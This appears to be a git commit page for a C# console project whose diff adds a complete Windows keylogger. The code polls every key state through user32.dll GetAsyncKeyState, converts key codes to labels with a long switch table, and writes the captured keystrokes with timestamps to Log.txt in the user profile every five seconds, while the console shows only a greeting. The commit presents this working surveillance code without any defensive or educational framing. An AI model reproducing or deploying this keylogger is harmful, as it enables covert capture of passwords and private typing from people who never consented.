no message
This commit is contained in:
parent
06c8380a64
commit
053ee984d9
@ -1,21 +1,171 @@
|
|||||||
[DllImport("user32.dll")]
|
namespace project1;
|
||||||
public static extern int GetAsyncKeyState(Int32 i);
|
|
||||||
|
|
||||||
static void Main(string[] args)
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Timers;
|
||||||
|
|
||||||
|
internal class Program
|
||||||
{
|
{
|
||||||
|
[DllImport("user32.dll")]
|
||||||
|
public static extern int GetAsyncKeyState(Int32 i);
|
||||||
|
private static string path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Log.txt";
|
||||||
|
private static string buffer = "";
|
||||||
|
|
||||||
|
static void Main(string[] args)
|
||||||
|
{
|
||||||
|
Timer t = new Timer();
|
||||||
|
t.Interval = 5000;
|
||||||
|
t.AutoReset = true;
|
||||||
|
t.Elapsed += T_Elapsed;
|
||||||
|
t.Enabled = true;
|
||||||
|
|
||||||
|
|
||||||
|
Console.Write("Hello, World!");
|
||||||
while (true)
|
while (true)
|
||||||
{
|
{
|
||||||
Thread.Sleep(100);
|
Thread.Sleep(10);
|
||||||
|
|
||||||
for (int i = 0; i < 255; i++)
|
for (int i = 0; i < 255; i++)
|
||||||
{
|
{
|
||||||
int keyState = GetAsyncKeyState(i);
|
int keyState = GetAsyncKeyState(i);
|
||||||
// 32769 should be used for windows 10.
|
|
||||||
if (keyState == 1 || keyState == -32767 || keyState == 32769)
|
if (keyState == 1 || keyState == -32767 || keyState == 32769)
|
||||||
{
|
{
|
||||||
Console.WriteLine((char)i);
|
buffer += normalizeKey(i);
|
||||||
break;
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void T_Elapsed(object? sender, ElapsedEventArgs e)
|
||||||
|
{
|
||||||
|
var myBuffer = buffer;
|
||||||
|
buffer = "";
|
||||||
|
|
||||||
|
if (!string.IsNullOrEmpty(myBuffer))
|
||||||
|
{
|
||||||
|
using (var file = new StreamWriter(path, true))
|
||||||
|
{
|
||||||
|
file.AutoFlush = false;
|
||||||
|
file.WriteLine(DateTime.Now);
|
||||||
|
file.WriteLine(myBuffer);
|
||||||
|
Console.Write(":) ");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static string normalizeKey(int code)
|
||||||
|
{
|
||||||
|
switch (code)
|
||||||
|
{
|
||||||
|
case 8: return "[Back]";
|
||||||
|
case 9: return "[TAB]";
|
||||||
|
case 13: return "[Enter]";
|
||||||
|
case 19: return "[Pause]";
|
||||||
|
case 20: return "[Caps Lock]";
|
||||||
|
case 27: return "[Esc]";
|
||||||
|
case 32: return "[Space]";
|
||||||
|
case 33: return "[Page Up]";
|
||||||
|
case 34: return "[Page Down]";
|
||||||
|
case 35: return "[End]";
|
||||||
|
case 36: return "[Home]";
|
||||||
|
case 37: return "[Left]";
|
||||||
|
case 38: return "[Up]";
|
||||||
|
case 39: return "[Right]";
|
||||||
|
case 40: return "[Down]";
|
||||||
|
case 44: return "[Print Screen]";
|
||||||
|
case 45: return "[Insert]";
|
||||||
|
case 46: return "[Delete]";
|
||||||
|
case 48: return "0";
|
||||||
|
case 49: return "1";
|
||||||
|
case 50: return "2";
|
||||||
|
case 51: return "3";
|
||||||
|
case 52: return "4";
|
||||||
|
case 53: return "5";
|
||||||
|
case 54: return "6";
|
||||||
|
case 55: return "7";
|
||||||
|
case 56: return "8";
|
||||||
|
case 57: return "9";
|
||||||
|
case 65: return "a";
|
||||||
|
case 66: return "b";
|
||||||
|
case 67: return "c";
|
||||||
|
case 68: return "d";
|
||||||
|
case 69: return "e";
|
||||||
|
case 70: return "f";
|
||||||
|
case 71: return "g";
|
||||||
|
case 72: return "h";
|
||||||
|
case 73: return "i";
|
||||||
|
case 74: return "j";
|
||||||
|
case 75: return "k";
|
||||||
|
case 76: return "l";
|
||||||
|
case 77: return "m";
|
||||||
|
case 78: return "n";
|
||||||
|
case 79: return "o";
|
||||||
|
case 80: return "p";
|
||||||
|
case 81: return "q";
|
||||||
|
case 82: return "r";
|
||||||
|
case 83: return "s";
|
||||||
|
case 84: return "t";
|
||||||
|
case 85: return "u";
|
||||||
|
case 86: return "v";
|
||||||
|
case 87: return "w";
|
||||||
|
case 88: return "x";
|
||||||
|
case 89: return "y";
|
||||||
|
case 90: return "z";
|
||||||
|
case 91: return "[Windows]";
|
||||||
|
case 92: return "[Windows]";
|
||||||
|
case 93: return "[List]";
|
||||||
|
case 96: return "0";
|
||||||
|
case 97: return "1";
|
||||||
|
case 98: return "2";
|
||||||
|
case 99: return "3";
|
||||||
|
case 100: return "4";
|
||||||
|
case 101: return "5";
|
||||||
|
case 102: return "6";
|
||||||
|
case 103: return "7";
|
||||||
|
case 104: return "8";
|
||||||
|
case 105: return "9";
|
||||||
|
case 106: return "*";
|
||||||
|
case 107: return "+";
|
||||||
|
case 109: return "-";
|
||||||
|
case 110: return ",";
|
||||||
|
case 111: return "/";
|
||||||
|
case 112: return "[F1]";
|
||||||
|
case 113: return "[F2]";
|
||||||
|
case 114: return "[F3]";
|
||||||
|
case 115: return "[F4]";
|
||||||
|
case 116: return "[F5]";
|
||||||
|
case 117: return "[F6]";
|
||||||
|
case 118: return "[F7]";
|
||||||
|
case 119: return "[F8]";
|
||||||
|
case 120: return "[F9]";
|
||||||
|
case 121: return "[F10]";
|
||||||
|
case 122: return "[F11]";
|
||||||
|
case 123: return "[F12]";
|
||||||
|
case 144: return "[Num Lock]";
|
||||||
|
case 145: return "[Scroll Lock]";
|
||||||
|
case 160: return "[Shift]";
|
||||||
|
case 161: return "[Shift]";
|
||||||
|
case 162: return "[Ctrl]";
|
||||||
|
case 163: return "[Ctrl]";
|
||||||
|
case 164: return "[Alt]";
|
||||||
|
case 165: return "[Alt]";
|
||||||
|
case 187: return "=";
|
||||||
|
case 186: return "ç";
|
||||||
|
case 188: return ",";
|
||||||
|
case 189: return "-";
|
||||||
|
case 190: return ".";
|
||||||
|
case 192: return "'";
|
||||||
|
case 191: return ";";
|
||||||
|
case 193: return "/";
|
||||||
|
case 194: return ".";
|
||||||
|
case 219: return "´";
|
||||||
|
case 220: return "]";
|
||||||
|
case 221: return "[";
|
||||||
|
case 222: return "~";
|
||||||
|
case 226: return "\\";
|
||||||
|
|
||||||
|
default:
|
||||||
|
return "[" + code + "]";
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
Loading…
Reference in New Issue
Block a user